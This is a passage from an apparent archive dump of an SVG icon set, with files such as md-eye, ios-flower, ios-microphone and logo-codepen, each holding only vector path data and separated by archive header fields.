1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9l-10.7-32.2-64.1 21.5L261 377c4.2 13-2.7 27.2-15.7 31.5-2.7.8-5.8 1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9L203 360.4l-31 10.3c-2.7.8-5.8 1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9-4.2-13 2.7-27.2 15.7-31.5l31.1-10.4-20.7-61.8-31.1 10.4c-2.7.8-5.8 1.5-8.4 1.2-10-.4-19.6-6.9-23-16.9-4.2-13 2.7-27.2 15.7-31.5l31.1-10.4-10.9-32.1c-4.2-13 2.7-27.2 15.7-31.5 13-4.2 27.2 2.7 31.5 15.7l10.7 32.2 64.1-21.5-10.7-32.2c-4.2-13 2.7-27.2 15.7-31.5 13-4.2 27.2 2.7 31.5 15.7l10.7 32.2 31.1-10.4c13-4.2 27.2 2.7 31.5 15.7 4.2 13-2.7 27.2-15.7 31.5l-31.1 10.4 20.7 61.8 31.1-10.4c13-4.2 27.2 2.7 31.5 15.7 4.2 13.2-2.7 27.4-15.8 31.7z"/></svg>collection/icon/svg/md-eye.svg000064400000000606151701353760012341 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 105c-101.8 0-188.4 62.4-224 151 35.6 88.6 122.2 151 224 151s188.4-62.4 224-151c-35.6-88.6-122.2-151-224-151zm0 251.7c-56 0-101.8-45.3-101.8-100.7S200 155.3 256 155.3 357.8 200.6 357.8 256 312 356.7 256 356.7zm0-161.1c-33.6 0-61.1 27.2-61.1 60.4s27.5 60.4 61.1 60.4 61.1-27.2 61.1-60.4-27.5-60.4-61.1-60.4z"/></svg>collection/icon/svg/ios-flower.svg000064400000005310151701353760013244 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M385.1 230.2c-26.7 0-60.1 6.9-86.3 13.5-.9-3.2-2.1-6.2-3.7-9.1 23.2-13.8 51.7-32.5 70.5-51.4 36.7-36.7 48.3-63.6 37.6-74.3-2.6-2.6-6-3.8-10.3-3.8-13.8 0-36 13.4-64 41.4-18.8 18.8-37.6 47.2-51.4 70.4-2.8-1.6-5.9-2.8-9.1-3.8 6.7-26.2 13.5-59.5 13.5-86.1 0-51.9-10.8-79.1-26-79.1s-26 27.2-26 79.1c0 26.6 6.8 60 13.5 86.1-3.2.9-6.2 2.2-9.1 3.8-13.8-23.2-32.5-51.6-51.4-70.4-28-28-50.3-41.4-64-41.4-4.3 0-7.7 1.3-10.3 3.8-10.8 10.8.8 37.6 37.6 74.3 18.9 18.9 47.3 37.6 70.5 51.4-1.5 2.8-2.8 5.9-3.7 9.1-26.2-6.7-59.6-13.5-86.3-13.5-51.8 0-78.7 10.6-78.7 25.8s26.9 26.2 78.9 26.2c26.7 0 60.2-6.9 86.4-13.6.9 3.1 2.2 6.2 3.8 9-23.3 13.8-51.8 32.6-70.7 51.5-36.7 36.7-48.3 63.6-37.6 74.3 2.6 2.6 6 3.8 10.3 3.8 13.8 0 36-13.4 64-41.4 18.9-18.9 37.8-47.5 51.6-70.8 2.8 1.5 5.8 2.8 9 3.7-6.7 26.2-13.6 59.8-13.6 86.5 0 51.9 10.8 78.6 26 78.6s26-26.7 26-78.6c0-26.8-6.9-60.3-13.6-86.5 3.1-.9 6.1-2.1 9-3.7 13.8 23.3 32.6 51.9 51.6 70.8 28 28 50.3 41.4 64 41.4 4.3 0 7.7-1.3 10.3-3.8 10.8-10.8-.8-37.6-37.6-74.3-18.9-18.9-47.5-37.7-70.7-51.5 1.6-2.8 2.8-5.8 3.8-9 26.2 6.7 59.7 13.6 86.4 13.6 51.9 0 78.9-10.8 78.9-26-.2-15.2-27.1-26-79.1-26z"/><path d="M318.4 376.4c-8.5-8.5-16.9-18.7-24.8-29.5 2 13.2 3.3 26.4 3.3 38.4 0 11.7-.5 22.5-1.6 32.1 12.3 21.8 24.3 32.7 34 32.7 1.6 0 3.2-.3 4.7-.9 11-4.5 13.3-23.3 4.5-54.3-6.4-5.3-13.1-11.5-20.1-18.5zM193.8 136.1c8.4 8.4 16.7 18.5 24.6 29.2-2-13.2-3.2-26.3-3.2-38.2 0-11.7.5-22.5 1.6-32.1-12.3-21.8-24.3-32.7-34-32.7-1.6 0-3.2.3-4.7.9-11 4.5-13.3 23.3-4.5 54.3 6.4 5.4 13.2 11.6 20.2 18.6zM135.8 318.6c8.5-8.5 18.7-16.9 29.5-24.8-13.2 2-26.4 3.3-38.4 3.3-11.7 0-22.5-.5-32.1-1.6-25.5 14.4-36.1 28.2-31.8 38.7 2.6 6.4 10.1 9.9 22.1 9.9 8.5 0 19.3-1.7 32.2-5.4 5.4-6.4 11.5-13.1 18.5-20.1zM376.2 193.8c-8.5 8.5-18.7 16.9-29.5 24.8 13.2-2 26.4-3.3 38.4-3.3 11.7 0 22.5.5 32.1 1.6 25.5-14.4 36.1-28.2 31.8-38.7-2.6-6.4-10.1-9.9-22.1-9.9-8.5 0-19.3 1.7-32.2 5.4-5.4 6.5-11.5 13.2-18.5 20.1zM193.6 376.4c-8.3 8.3-16.3 15.6-23.8 21.6-7.8 28.2-5.5 45.4 4.9 49.9 1.6.7 3.2 1 4.9 1 10.3 0 23.2-12 36.7-36.2-.7-8.4-1.1-17.5-1.1-27.3 0-12 1.3-25.2 3.3-38.4-8 10.7-16.4 20.9-24.9 29.4zM318.4 136.2c8.3-8.3 16.2-15.5 23.7-21.5 7.9-28.4 5.7-45.8-4.8-50.2-1.6-.7-3.2-1-4.9-1-10.3 0-23.2 12-36.7 36.2.7 8.4 1.1 17.5 1.1 27.3 0 12.1-1.3 25.3-3.3 38.7 8-10.7 16.4-21 24.9-29.5zM99.6 216.5c8.4-.7 17.5-1.1 27.3-1.1 12 0 25.1 1.3 38.3 3.3-10.7-7.9-20.9-16.3-29.4-24.8-8.3-8.3-15.6-16.3-21.7-23.9-11.3-3.1-20.9-4.6-28.6-4.6-11.4 0-18.6 3.3-21.2 9.5-4.6 10.9 7.1 25.9 35.3 41.6zM412.4 296c-8.4.7-17.5 1.1-27.3 1.1-12 0-25.2-1.3-38.4-3.3 10.8 7.9 21 16.4 29.5 24.8 8.3 8.3 15.5 16.3 21.6 23.8 11.4 3.2 20.9 4.7 28.6 4.7 11.4 0 18.6-3.3 21.2-9.5 4.7-11-7-25.9-35.2-41.6z"/></svg>collection/icon/svg/ios-remove-circle.svg000064400000000366151701353760014510 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm90.5 224h-181c-8.5 0-16-6-16-16s7.2-16 16-16h181c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>collection/icon/svg/ios-microphone.svg000064400000002526151701353760014117 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M315 204h72.6c6.6 0 12.3-5.2 12.4-11.8.1-6.7-5.3-12.2-12-12.2h-73c-6.7 0-12.1-5.5-12-12.2.1-6.6 5.8-11.8 12.4-11.8h76.5c4.5 0 8.2-3.7 8-8.2-1.7-47.5-31.2-88.1-72.7-106-5.3-2.3-11.2 1.6-11.2 7.3v35.5c0 6.6-5.2 12.3-11.8 12.4-6.7.1-12.2-5.3-12.2-12V44c0-6.6-5.4-12-12-12s-12 5.4-12 12v56.6c0 6.6-5.2 12.3-11.8 12.4-6.7.1-12.2-5.3-12.2-12V44c0-6.6-5.4-12-12-12s-12 5.4-12 12v40.6c0 6.6-5.2 12.3-11.8 12.4-6.7.1-12.2-5.3-12.2-12V49.1c0-5.8-5.9-9.6-11.2-7.3-41.5 17.9-71.1 58.6-72.7 106-.2 4.5 3.5 8.2 8 8.2h76.5c6.6 0 12.3 5.2 12.4 11.8.1 6.7-5.3 12.2-12 12.2h-72.6c-6.6 0-12.3 5.2-12.4 11.8-.1 6.7 5.3 12.2 12 12.2h72.6c6.6 0 12.3 5.2 12.4 11.8.1 6.7-5.3 12.2-12 12.2h-72.6c-6.6 0-12.3 5.2-12.4 11.8-.1 6.7 5.3 12.2 12 12.2h72.6c6.6 0 12.3 5.2 12.4 11.8.1 6.7-5.3 12.2-12 12.2h-76.9c-4.5 0-8.2 3.7-8 8.2.5 13.6 3.3 26.7 7.9 38.8 1.2 3.1 4.2 5 7.4 5h257.1c3.3 0 6.3-2 7.4-5 4.7-12.1 7.5-25.2 7.9-38.8.2-4.5-3.5-8.2-8-8.2h-76.5c-6.6 0-12.3-5.2-12.4-11.8-.1-6.7 5.3-12.2 12-12.2h72.6c6.6 0 12.3-5.2 12.4-11.8.1-6.7-5.3-12.2-12-12.2h-72.6c-6.6 0-12.3-5.2-12.4-11.8 0-6.7 5.4-12.2 12.1-12.2zM141.5 358.6c19 22 45.2 37.2 75.4 40.8 4 .5 7.1 3.9 7.1 7.9V448c0 17.7 14.3 32 32 32s32-14.3 32-32v-40.7c0-4.1 3.1-7.5 7.1-7.9 30.3-3.5 56.4-18.7 75.4-40.8 2.2-2.6.3-6.6-3.1-6.6H144.5c-3.4 0-5.2 4-3 6.6z"/></svg>collection/icon/svg/logo-googleplus.svg000064400000001036151701353760014275 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M318.2 230.9l-1.6-7H160V288h90.7c-9.4 45-48.4 63.6-84.1 63.6-26 0-50.2-7.8-68.3-25.3-18.6-18.1-28.9-43.1-28.9-70.4 0-27.1 9.8-51.8 27.6-69.6 17.7-17.7 42-25.4 68.7-25.4 30.5 0 49.9 13.8 58.1 21.1l48-47.7C258.3 122.6 221.5 93 164.1 93c-44.3 0-86.7 16.8-117.7 47.8C15.9 171.3 0 215.2 0 256s15 82.6 44.6 113.3C76.3 402 121.2 419 167.5 419c42.1 0 81.9-16.5 110.3-46.3 28-29.4 42.4-70.1 42.4-112.7-.1-18-1.9-28.7-2-29.1zM512 224h-57v-57h-41v57h-57v41h57v57h41v-57h57z"/></svg>collection/icon/svg/ios-checkmark-circle.svg000064400000000636151701353760015143 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm106.5 150.5L228.8 332.8h-.1c-1.7 1.7-6.3 5.5-11.6 5.5-3.8 0-8.1-2.1-11.7-5.7l-56-56c-1.6-1.6-1.6-4.1 0-5.7l17.8-17.8c.8-.8 1.8-1.2 2.8-1.2 1 0 2 .4 2.8 1.2l44.4 44.4 122-122.9c.8-.8 1.8-1.2 2.8-1.2 1.1 0 2.1.4 2.8 1.2l17.5 18.1c1.8 1.7 1.8 4.2.2 5.8z"/></svg>collection/icon/svg/ios-exit.svg000064400000000650151701353760012721 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M144 136v107h179.9l-47.2-47.9c-5-5.1-5-13.3.1-18.4 5.1-5 13.3-5 18.4.1l69 70c2.4 2.5 3.7 5.8 3.7 9.1 0 1.7-.3 3.4-1 5-.6 1.5-1.6 2.9-2.7 4.1l-69 70c-5 5.1-13.3 5.2-18.4.1-5.1-5-5.2-13.3-.1-18.4l47.2-47.9H144v107c0 22 18 40 40 40h240c22 0 40-18 40-40V136c0-22-18-40-40-40H184c-22 0-40 18-40 40zM61 243c-7.2 0-13 5.8-13 13s5.8 13 13 13h83v-26H61z"/></svg>collection/icon/svg/md-return-left.svg000064400000000253151701353760014024 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432.8 136v96H122.3l84.4-86.2-33.2-33.8L32 256l141.5 144 33.2-33.8-84.4-86.2H480V136h-47.2z"/></svg>collection/icon/svg/ios-color-fill.svg000064400000001144151701353760014011 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M231.5 118.3c.1 0 .1-.1 0 0L175.3 62c-9.3-9.3-21.6-14-33.9-14-12.3 0-24.6 4.7-33.9 14-18.7 18.7-18.7 49.2 0 67.9l49.3 49.3-84.5 84c-11.1 11.1-11 29.2.3 40l131.2 126c10.9 10.4 28 10.4 38.9-.1 37.8-36.6 118.3-114.5 126.7-122.9 5.8-5.8 18.2-7.1 28.7-7.1h.3c5.9 0 8.8-7.1 4.6-11.2L231.5 118.3zm-103.9-7.9c-7.2-7.2-8.3-18.8-2-26.8 3.8-4.9 9.6-7.6 15.8-7.6 5.4 0 10.4 2.1 14.1 5.8l49.3 49.3-28.3 28.3-48.9-49zM403 339.5c-1.6-1.9-4.5-1.9-6.1 0-10.5 12.2-45 53.9-45 76.4 0 26.6 21.5 48.1 48 48.1s48-21.6 48-48.1c.1-22.6-34.3-64.2-44.9-76.4z"/></svg>collection/icon/svg/ios-cloudy-night.svg000064400000001412151701353760014353 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.8 294.8c-.5 0-1.1-.1-1.6-.1-2.6 0-5.2 0-7.8.3-9.3-40.8-45.9-71.5-89.7-71.5-50.8 0-91.9 40.9-91.9 91.4 0 3.1.2 6.1.5 9.1-31 2.7-55.3 30.1-55.3 61.6C32 419 58.8 448 92.3 448h185.5c41.9 0 75.8-34.7 75.8-76.3 0-41.6-33.9-76.9-75.8-76.9z"/><path d="M452.1 305.4c-2.5.1-5 .2-7.6.2-41.7 0-80.8-15.7-110.3-44.3-29.5-28.5-45.7-66.5-45.7-106.8 0-23 5.3-45.2 15.2-65.3L315.4 70c1.7-2.9-.8-6.5-4.1-6-7.6 1.2-15.7 4-23.2 6.3-59.5 18.2-104.4 68.1-113.7 129.3 1.4-.1 2.9-.1 4.3-.1 26.5 0 52.4 9.2 73 25.9 15.1 12.2 26.9 28 34.2 45.7 23.7 2 45.7 12.4 62.7 29.8 18.7 19.1 29 44.2 29 70.7 0 2.3-.1 4.6-.2 6.8 34.2-8.1 64.3-26.6 86.4-51.8 4.8-5.5 11.3-12.8 15.3-18.5 2-2.8-.3-6.7-3.8-6.3-6.8 1-15.9 3.2-23.2 3.6z"/></svg>collection/icon/svg/md-call.svg000064400000000762151701353760012475 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.666 330.667a250.385 250.385 0 0 1-75.729-11.729c-7.469-2.136-16-1.073-21.332 5.333l-46.939 46.928c-60.802-30.928-109.864-80-140.802-140.803l46.939-46.927c5.332-5.333 7.462-13.864 5.332-21.333-8.537-24.531-12.802-50.136-12.802-76.803C181.333 73.604 171.734 64 160 64H85.333C73.599 64 64 73.604 64 85.333 64 285.864 226.136 448 426.666 448c11.73 0 21.334-9.604 21.334-21.333V352c0-11.729-9.604-21.333-21.334-21.333z"/></svg>collection/icon/svg/logo-codepen.svg000064400000003065151701353760013536 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M241.239 303.936c-15.322-10.357-30.742-20.569-46.062-30.93-2.03-1.373-3.43-1.472-5.502-.029l-38.871 26.154C181.966 319.905 244 361.317 244 361.317v-53.786c-.012-1.224-1.553-2.78-2.761-3.595zM195.092 240.666c15.454-10.16 30.851-20.409 46.109-30.86 1.486-1.018 2.775-3.509 2.799-5.334v-51.706s-62.033 41.124-93.262 61.942c13.7 9.159 26.671 17.913 39.787 26.443 1.02.662 3.396.284 4.567-.485zM269.838 209.354a4521.517 4521.517 0 0 0 47.627 31.815c.916.604 2.92.602 3.839 0l39.751-26.467L268 152.484v53.35c.01 1.201.805 2.821 1.838 3.52zM258.109 230.369c-1.21-.802-3.611-.528-4.743.168-4.817 2.962-9.463 6.203-14.164 9.355-8.248 5.53-25.356 17.023-25.356 17.023l38.842 25.865c1.748 1.157 4.436 1.22 6.26.111l39.014-25.993c.001 0-34.079-22.701-39.853-26.529zM141 237.116v39.609l29.622-19.838z"/><path d="M256 32C132.288 32 32 132.288 32 256s100.288 224 224 224 224-100.288 224-224S379.712 32 256 32zm139 265.006c0 5.785-2.652 9.868-7.511 13.094a38019.909 38019.909 0 0 0-123.286 82.188c-5.854 3.918-11.174 3.754-16.984-.137-40.783-27.314-81.719-54.546-122.625-81.676-5.11-3.389-7.594-7.557-7.594-13.73v-79.729c0-6.141 2.521-10.332 7.624-13.716 40.906-27.13 81.939-54.363 122.724-81.676 5.818-3.896 11.094-4.007 16.938-.095a41090.004 41090.004 0 0 0 123.261 82.195c4.678 3.106 7.453 6.943 7.453 12.66v80.622z"/><path d="M316.247 273.234a3826.352 3826.352 0 0 1-45.386 30.332c-2.412 1.588-2.888 3.318-2.861 6.189v51.346l93.039-62.004-38.527-25.882c-2.345-1.604-3.93-1.567-6.265.019zM370 276.676V237.06l-29.59 19.873z"/></svg>collection/icon/svg/md-flag.svg000064400000000550151701353760012466 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 83.2c-13.8 1.7-31.1 4.2-49.6 4.2-28.8 0-55-6.8-81.5-12.2C238 69.7 210.2 64 180.8 64c-58.6 0-78.5 12.1-80.6 13.4L96 80.3V448h48V269.8c9.7-1.2 21.9-2 36.9-2 27.3 0 52.8 10 79.8 15.5 27.6 5.6 56 11.5 86.9 11.5 18.4 0 34.6-2.4 48.4-4 7.5-.9 14-1.7 20-2.7V80.2c-5 1-12.5 2.1-20 3z"/></svg>collection/icon/svg/md-trophy.svg000064400000001146151701353760013104 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M392 105c.9-27 .2-56 .1-57H119.3c0 1-.8 30 .1 57H48c0 68 9.9 102.3 21 126.7S95.4 277 127.7 302c30.1 23.3 95.5 53.6 104.3 57.6v28.3c-4.6 10-23.5 28.2-83.3 28.2H128v48h256v-48h-25.7c-60.7 0-75-19.1-78.3-28.2v-28.3c9.3-4.6 80.9-40.3 104.4-57.5 25.2-18.4 50.9-51.5 58.7-70.3S464 167 464 105h-72zM109.6 211.9c-8.8-18.2-14-37.9-15.7-61.9h28.7c.7 6 1.4 11.3 2.3 16.3 6.6 39.2 14.8 70.2 25.7 96.5-17.3-13.5-31.3-30.8-41-50.9zm292.8 0c-9.9 20.3-24 37.7-41.6 51.3 11-26.2 19-56.8 25.8-96.9.8-5 1.6-10.3 2.3-16.3h29.3c-1.8 24-6.9 43.7-15.8 61.9z"/></svg>collection/icon/svg/md-arrow-dropdown.svg000064400000000151151701353760014536 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 192l128 128 128-128z"/></svg>collection/icon/svg/md-square-outline.svg000064400000000376151701353760014540 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.3 106.7v298.7H106.7V106.7h298.6m0-42.7H106.7C83.2 64 64 83.2 64 106.7v298.7c0 23.5 19.2 42.7 42.7 42.7h298.7c23.5 0 42.7-19.2 42.7-42.7V106.7C448 83.2 428.8 64 405.3 64z"/></svg>collection/icon/svg/ios-arrow-dropleft.svg000064400000001103151701353760014711 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M301.3 147.6c-7.5-7.5-19.8-7.5-27.3 0l-95.4 95.7c-7.3 7.3-7.5 19.1-.6 26.6l94 94.3c3.8 3.8 8.7 5.7 13.7 5.7 4.9 0 9.9-1.9 13.6-5.6 7.5-7.5 7.6-19.7 0-27.3l-79.8-81 81.9-81.1c7.5-7.5 7.5-19.7-.1-27.3z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm124.4 332.4C347.2 413.7 303 432 256 432s-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256s18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4z"/></svg>collection/icon/svg/md-return-right.svg000064400000000252151701353760014206 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 136v144h357.7l-84.4 86.2 33.2 33.8L480 256 338.5 112l-33.2 33.8 84.4 86.2H79.2v-96H32z"/></svg>collection/icon/svg/md-cloud-upload.svg000064400000000521151701353760014143 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999zM288 276v76h-64v-76h-68l100-100 100 100h-68z"/></svg>collection/icon/svg/ios-bluetooth.svg000064400000001164151701353760013756 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M378.5 333l-88.3-77 88.2-76.1c6.9-6 7.4-16.3 1.1-22.9L262.7 35.6c-2.2-2.3-5.4-3.6-8.6-3.6-6.1 0-11.1 4.9-11.1 10.8V212l-86.3-73.3c-7.1-6-17.8-5.3-24.1 1.5-6.5 7-5.8 17.9 1.6 24.1L243 256l-108.1 90.9c-7.3 6.1-8.1 16.8-1.7 23.9l.3.3c6.3 7 17.3 7.7 24.5 1.5l85-73.6v169.8c0 6.2 5.1 11.2 11.5 11.2 3.2 0 6.2-1.3 8.4-3.5L379.6 356c6.3-6.6 5.8-16.9-1.1-23zm-99.1-232.1l62.7 65.9c.8.8.7 2.1-.2 2.9l-62.7 53c-1.3 1.1-3.4.2-3.4-1.5V102.3c.1-1.9 2.4-2.7 3.6-1.4zm-3.5 309V291.6c0-1.7 2.1-2.6 3.4-1.5l62.7 53c.9.7.9 2 .2 2.9l-62.7 65.3c-1.3 1.3-3.6.4-3.6-1.4z"/></svg>collection/icon/svg/ios-contact.svg000064400000001573151701353760013410 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C148.5 48 60.1 129.5 49.2 234.1c-.8 7.2-1.2 14.5-1.2 21.9 0 7.4.4 14.7 1.2 21.9C60.1 382.5 148.5 464 256 464c114.9 0 208-93.1 208-208S370.9 48 256 48zm135.8 326.1c-22.7-8.6-59.5-21.2-82.4-28-2.4-.7-2.7-.9-2.7-10.7 0-8.1 3.3-16.3 6.6-23.3 3.6-7.5 7.7-20.2 9.2-31.6 4.2-4.9 10-14.5 13.6-32.9 3.2-16.2 1.7-22.1-.4-27.6-.2-.6-.5-1.2-.6-1.7-.8-3.8.3-23.5 3.1-38.8 1.9-10.5-.5-32.8-14.9-51.3-9.1-11.7-26.6-26-58.5-28h-17.5c-31.4 2-48.8 16.3-58 28-14.5 18.5-16.9 40.8-15 51.3 2.8 15.3 3.9 35 3.1 38.8-.2.7-.4 1.2-.6 1.8-2.1 5.5-3.7 11.4-.4 27.6 3.7 18.4 9.4 28 13.6 32.9 1.5 11.4 5.7 24 9.2 31.6 2.6 5.5 3.8 13 3.8 23.6 0 9.9-.4 10-2.6 10.7-23.7 7-58.9 19.4-80 27.8C91.6 341.4 76 299.9 76 256c0-48.1 18.7-93.3 52.7-127.3S207.9 76 256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256c0 43.9-15.6 85.4-44.2 118.1z"/></svg>collection/icon/svg/ios-skip-forward.svg000064400000000366151701353760014364 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M337 100v137.8L108.1 98.1C102.7 95 96 98.8 96 105v302c0 6.2 6.7 10 12.1 6.9L337 274.2V412c0 2.2 1.8 4 4 4h71c2.2 0 4-1.8 4-4V100c0-2.2-1.8-4-4-4h-71c-2.2 0-4 1.8-4 4z"/></svg>collection/icon/svg/ios-help-buoy.svg000064400000001267151701353760013661 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm54.6 36.4c27.1 8.6 52 23.6 72.7 44.3 20.7 20.7 35.7 45.6 44.3 72.7l-88.8 6c-8.2-14-19.9-25.7-33.9-34l5.7-89zm-181.9 44.3c20.7-20.7 45.5-35.7 72.7-44.3l5.7 89c-13.9 8.3-25.6 20-33.9 33.9l-88.9-5.9c8.7-27.1 23.7-52 44.4-72.7zm72.7 298.9c-27.1-8.6-52-23.6-72.7-44.3-20.7-20.7-35.7-45.6-44.3-72.7l89-5.7c8.2 13.9 19.9 25.5 33.8 33.8l-5.8 88.9zM256 324c-37.5 0-68-30.5-68-68s30.5-68 68-68 68 30.5 68 68-30.5 68-68 68zm127.3 59.3c-20.7 20.7-45.6 35.7-72.7 44.3l-5.9-88.9c14.1-8.3 25.8-20.1 34.1-34.2l88.8 6c-8.6 27.2-23.6 52.1-44.3 72.8z"/></svg>collection/icon/svg/md-easel.svg000064400000000522151701353760012645 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 176h256v128H128z"/><path d="M448 96H64c-8.8 0-16 7.2-16 16v256c0 8.8 6.9 16 15.8 16H448c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16zm-32 240H96V144h320v192zM80 464h57l22.5-64h-56.4zM279.4 48h-46.8l-11.5 32h69.8zM375 464h57l-23-64h-56.5zM232 400h48v32h-48z"/></svg>collection/icon/svg/ios-volume-low.svg000064400000001044151701353760014054 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M278.9 145.6c-2.2-1.1-4.6-1.6-6.9-1.6-3.6 0-7.1 1.2-10 3.5L196.8 200H144c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h52.8l65.2 52.5c2.9 2.3 6.5 3.5 10 3.5 2.3 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V160c0-6.2-3.5-11.8-9.1-14.4zM354.4 182.6c-4.6-4.7-12.1-4.8-16.8-.1-4.7 4.7-4.7 12.3-.1 17 14.7 15 22.8 35.1 22.8 56.6 0 21.4-8.1 41.5-22.8 56.6-4.6 4.7-4.6 12.3.1 17 2.3 2.3 5.3 3.5 8.3 3.5 3.1 0 6.1-1.2 8.5-3.6C373.5 310 384 284 384 256.2h-.2c0-28-10.3-54.1-29.4-73.6z"/></svg>collection/icon/svg/md-chatbubbles.svg000064400000000522151701353760014032 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M132.8 368c-20.2 0-44.8-24.6-44.8-44.8V160h-9.6C61.7 160 48 173.7 48 190.4V464l58.5-58h215.1c16.7 0 30.4-14.1 30.4-30.9V368H132.8z"/><path d="M429.1 48H149.9C130.7 48 115 63.7 115 82.9V309c0 19.2 15.7 35 34.9 35h238.2l75.9 53V82.9c0-19.2-15.7-34.9-34.9-34.9z"/></svg>collection/icon/svg/ios-easel.svg000064400000001743151701353760013045 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434 461.5l-26.6-69.1c-2.1-5.1-7-8.4-12.4-8.4-4.5 0-8.6 2.2-11.1 5.9s-3 8.4-1.4 12.5l26 69.1c2.1 5.1 7 8.5 12.5 8.5h.5c4.5 0 8.7-2.2 11.2-5.9 2.5-3.8 3-8.5 1.3-12.6zM117.6 384c-5.5 0-10.4 3.3-12.4 8.4l-26.6 69.1c-1.7 4.2-1.2 8.9 1.3 12.6 2.5 3.7 6.7 5.9 11.2 5.9h.5c5.5 0 10.4-3.3 12.5-8.5l26-69.1c1.7-4.1 1.2-8.8-1.4-12.5-2.4-3.7-6.6-5.9-11.1-5.9zM256.6 384h-1.1c-7.4 0-13.4 6-13.4 13.4v36.1c0 7.4 6 14.4 13.4 14.4h1.1c7.4 0 13.4-7 13.4-14.4v-36.1c0-7.4-6-13.4-13.4-13.4z"/><g><path d="M424 128H88c-4.4 0-8 3.6-8 8v176c0 4.4 3.6 8 8 8h336c4.4 0 8-3.6 8-8V136c0-4.4-3.6-8-8-8z"/><path d="M448 80H63.9C46.3 80 32 94.3 32 111.9v224.2c0 17.6 14.3 31.9 31.9 31.9H448c17.7 0 32-14.3 32-32V112c0-17.7-14.3-32-32-32zm4 244c0 8.8-7.2 16-16 16H76c-8.8 0-16-7.2-16-16V124c0-8.8 7.2-16 16-16h364.6c3 0 5.9 1.2 8 3.3 2.1 2.1 3.3 5 3.3 8V324z"/></g><path d="M256 32c-13.4-.2-24.4 12.2-24.4 25.6h48.7c.1-13.4-10.9-25.8-24.3-25.6z"/></svg>collection/icon/svg/ios-git-compare.svg000064400000002431151701353760014156 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M233.9 328.1c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-2.6 2.6-4.1 6.1-4.1 9.9 0 3.7 1.4 7.3 4.1 9.9l.1.1 41.1 40.1H166c-20.4 0-33.6-7.5-41.6-23.5-8.4-17-9.4-41.5-9.4-58.5V170.8c15-2.8 28.7-10.5 39-21.9 11.6-12.9 18-29.5 18-46.9 0-38.6-31.4-70-70-70s-70 31.4-70 70c0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3V306c0 14.7 0 42.1 9.4 65.3 11.9 29.3 36 44.7 69.6 44.7h89.7L216 456.2c-5.4 5.4-5.4 14.3 0 19.8l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.8 0 7.3-1.4 9.9-4.1l57.6-57.4c4.2-4.2 6.5-9.8 6.5-15.7 0-5.9-2.3-11.3-6.5-15.5l-59.5-59.2zM102 144c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM425 341.6V206c0-14.7 